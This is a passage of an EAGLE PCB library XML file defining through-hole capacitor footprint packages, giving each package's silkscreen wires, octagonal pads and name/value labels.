x1=\"0.3302\" y1=\"0\" x2=\"1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"1.27\" x2=\"-3.683\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"-1.524\" x2=\"3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"-1.27\" x2=\"3.683\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"1.524\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"1.524\" x2=\"3.683\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"3.429\" y1=\"-1.524\" x2=\"3.683\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"-1.27\" x2=\"-3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"1.27\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.556\" y=\"1.905\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.556\" y=\"-3.048\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C050-050X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 5 mm, outline 5 x 7.5 mm</description>\n<wire x1=\"-0.3048\" y1=\"0.635\" x2=\"-0.3048\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-0.3048\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0.635\" x2=\"0.3302\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"0.3302\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"2.286\" x2=\"-3.683\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"-2.54\" x2=\"3.429\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"-2.286\" x2=\"3.683\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"2.54\" x2=\"-3.429\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"2.54\" x2=\"3.683\" y2=\"2.286\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"3.429\" y1=\"-2.54\" x2=\"3.683\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"-2.286\" x2=\"-3.429\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"2.286\" x2=\"-3.429\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.429\" y=\"2.921\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-2.159\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C050-055X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 5 mm, outline 5.5 x 7.5 mm</description>\n<wire x1=\"-0.3048\" y1=\"0.635\" x2=\"-0.3048\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-0.3048\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0.635\" x2=\"0.3302\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"0.3302\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"2.54\" x2=\"-3.683\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"-2.794\" x2=\"3.429\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"-2.54\" x2=\"3.683\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"2.794\" x2=\"-3.429\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"2.794\" x2=\"3.683\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"3.429\" y1=\"-2.794\" x2=\"3.683\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"-2.54\" x2=\"-3.429\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"2.54\" x2=\"-3.429\" y2=\"2.794\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.429\" y=\"3.175\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.302\" y=\"-2.286\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C050-075X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 5 mm, outline 7.5 x 7.5 mm</description>\n<wire x1=\"-1.524\" y1=\"0\" x2=\"-0.4572\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.4572\" y1=\"0\" x2=\"-0.4572\" y2=\"0.762\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-0.4572\" y1=\"0\" x2=\"-0.4572\" y2=\"-0.762\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"0.4318\" y1=\"0.762\" x2=\"0.4318\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"0.4318\" y1=\"0\" x2=\"1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.4318\" y1=\"0\" x2=\"0.4318\" y2=\"-0.762\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"3.429\" x2=\"-3.683\" y2=\"-3.429\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"-3.683\" x2=\"3.429\" y2=\"-3.683\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"-3.429\" x2=\"3.683\" y2=\"3.429\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"3.683\" x2=\"-3.429\" y2=\"3.683\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"3.683\" x2=\"3.683\" y2=\"3.429\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"3.429\" y1=\"-3.683\" x2=\"3.683\" y2=\"-3.429\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"-3.429\" x2=\"-3.429\" y2=\"-3.683\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"3.429\" x2=\"-3.429\" y2=\"3.683\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.429\" y=\"4.064\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-2.921\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C050H075X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nHorizontal, grid 5 mm, outline 7.5 x 7.5 mm</description>\n<wire x1=\"-3.683\" y1=\"7.112\" x2=\"-3.683\" y2=\"0.508\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"0.508\" x2=\"-3.302\" y2=\"0.508\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.302\" y1=\"0.508\" x2=\"-1.778\" y2=\"0.508\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.778\" y1=\"0.508\" x2=\"1.778\" y2=\"0.508\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"0.508\" x2=\"3.302\" y2=\"0.508\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.302\" y1=\"0.508\" x2=\"3.683\" y2=\"0.508\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"0.508\" x2=\"3.683\" y2=\"7.112\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"7.62\" x2=\"-3.175\" y2=\"7.62\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"2.413\" x2=\"-0.3048\" y2=\"1.778\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"1.778\" x2=\"-0.3048\" y2=\"1.143\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"1.778\" x2=\"-1.651\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"2.413\" x2=\"0.3302\" y2=\"1.778\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"1.778\" x2=\"0.3302\" y2=\"1.143\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"1.778\" x2=\"1.651\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"7.112\" x2=\"-3.175\" y2=\"7.62\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"3.175\" y1=\"7.62\" x2=\"3.683\" y2=\"7.112\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-2.54\" y2=\"0.254\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"0\" x2=\"2.54\" y2=\"0.254\" width=\"0.508\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.302\" y=\"8.001\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"3.175\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-2.794\" y1=\"0.127\" x2=\"-2.286\" y2=\"0.508\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"0.127\" x2=\"2.794\" y2=\"0.508\" layer=\"51\"/>\n</package>\n<package name=\"C075-032X103\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 7.5 mm, outline 3.2 x 10.3 mm</description>\n<wire x1=\"4.826\" y1=\"1.524\" x2=\"-4.826\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"1.27\" x2=\"-5.08\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"-1.524\" x2=\"4.826\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-1.27\" x2=\"5.08\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"1.524\" x2=\"5.08\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.826\" y1=\"-1.524\" x2=\"5.08\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.08\" y1=\"-1.27\" x2=\"-4.826\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.08\" y1=\"1.27\" x2=\"-4.826\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"0.508\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-0.508\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"0.889\" x2=\"-0.508\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"0\" x2=\"-0.508\" y2=\"-0.889\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"0.508\" y1=\"0.889\" x2=\"0.508\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"0.508\" y1=\"0\" x2=\"0.508\" y2=\"-0.889\" width=\"0.4064\" layer=\"21\"/>\n<pad name=\"1\" x=\"-3.81\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"3.81\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-4.826\" y=\"1.905\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.826\" y=\"-3.048\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C075-042X103\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 7.5 mm, outline 4.2 x 10.3 mm</description>\n<wire x1=\"4.826\" y1=\"2.032\" x2=\"-4.826\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"1.778\" x2=\"-5.08\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"-2.032\" x2=\"4.826\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-1.778\" x2=\"5.08\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"2.032\" x2=\"5.08\" y2=\"1.778\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.826\" y1=\"-2.032\" x2=\"5.08\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.08\" y1=\"-1.778\" x2=\"-4.826\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.08\" y1=\"1.778\" x2=\"-4.826\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"2.667\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.667\" y1=\"0\" x2=\"-2.159\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.159\" y1=\"1.27\" x2=\"-2.159\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-2.159\" y1=\"0\" x2=\"-2.159\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"1.27\" x2=\"-1.27\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<pad name=\"1\" x=\"-3.81\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"3.81\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-4.699\" y=\"2.413\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-1.651\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C075-052X106\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 7.5 mm, outline 5.2 x 10.6 mm</description>\n<wire x1=\"4.953\" y1=\"2.54\" x2=\"-4.953\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"2.286\" x2=\"-5.207\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.953\" y1=\"-2.54\" x2=\"4.953\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"-2.286\" x2=\"5.207\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"2.54\" x2=\"5.207\" y2=\"2.286\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.953\" y1=\"-2.54\" x2=\"5.207\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.207\" y1=\"-2.286\" x2=\"-4.953\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.207\" y1=\"2.286\" x2=\"-4.953\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"2.667\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.667\" y1=\"0\" x2=\"-2.159\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.159\" y1=\"1.27\" x2=\"-2.159\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-2.159\" y1=\"0\" x2=\"-2.159\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"1.27\" x2=\"-1.27\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<pad name=\"1\" x=\"-3.81\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"3.81\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-4.826\" y=\"2.921\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.032\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C102-043X133\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 10.2 mm, outline 4.3 x 13.3 mm</description>\n<wire x1=\"-3.175\" y1=\"1.27\" x2=\"-3.175\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"1.27\" x2=\"-2.286\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"-2.286\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"0\" x2=\"-2.286\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"0\" x2=\"-3.175\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"0\" x2=\"-3.175\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.096\" y1=\"2.032\" x2=\"6.096\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.604\" y1=\"1.524\" x2=\"6.604\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"-2.032\" x2=\"-6.096\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.604\" y1=\"-1.524\" x2=\"-6.604\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"2.032\" x2=\"6.604\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"6.096\" y1=\"-2.032\" x2=\"6.604\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-6.604\" y1=\"-1.524\" x2=\"-6.096\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-6.604\" y1=\"1.524\" x2=\"-6.096\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-6.096\" y=\"2.413\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.524\" y=\"-1.651\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C102-054X133\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 10.2 mm, outline 5.4 x 13.3 mm</description>\n<wire x1=\"-3.175\" y1=\"1.27\" x2=\"-3.175\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"1.27\" x2=\"-2.286\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"-2.286\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"0\" x2=\"-2.286\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"0\" x2=\"-3.175\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"0\" x2=\"-3.175\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.096\" y1=\"2.54\" x2=\"6.096\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.604\" y1=\"2.032\" x2=\"6.604\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"-2.54\" x2=\"-6.096\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.604\" y1=\"-2.032\" x2=\"-6.604\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"2.54\" x2=\"6.604\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"6.096\" y1=\"-2.54\" x2=\"6.604\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-6.604\" y1=\"-2.032\" x2=\"-6.096\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-6.604\" y1=\"2.032\" x2=\"-6.096\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-6.096\" y=\"2.921\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.524\" y=\"-1.905\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C102-064X133\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 10.2 mm, outline 6.4 x 13.3 mm</description>\n<wire x1=\"-3.175\" y1=\"1.27\" x2=\"-3.175\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"1.27\" x2=\"-2.286\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"-2.286\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"0\" x2=\"-2.286\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"0\" x2=\"-3.175\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"0\" x2=\"-3.175\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.096\" y1=\"3.048\" x2=\"6.096\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.604\" y1=\"2.54\" x2=\"6.604\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"-3.048\" x2=\"-6.096\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.604\" y1=\"-2.54\" x2=\"-6.604\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"3.048\" x2=\"6.604\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"6.096\" y1=\"-3.048\" x2=\"6.604\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-6.604\" y1=\"-2.54\" x2=\"-6.096\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-6.604\" y1=\"2.54\" x2=\"-6.096\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-6.096\" y=\"3.429\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.524\" y=\"-2.032\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C102_152-062X184\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 10.2 mm + 15.2 mm, outline 6.2 x 18.4 mm</description>\n<wire x1=\"-2.286\" y1=\"1.27\" x2=\"-2.286\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"0\" x2=\"-2.286\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"1.27\" x2=\"-3.175\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"0\" x2=\"-3.175\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"0\" x2=\"-3.175\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"0\" x2=\"3.683\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"0\" x2=\"8.636\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.096\" y1=\"3.048\" x2=\"6.223\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"-3.048\" x2=\"-6.096\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.604\" y1=\"-2.54\" x2=\"-6.604\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"3.048\" x2=\"6.731\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"6.223\" y1=\"-3.048\" x2=\"6.731\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-6.604\" y1=\"-2.54\" x2=\"-6.096\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-6.604\" y1=\"2.54\" x2=\"-6.096\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire 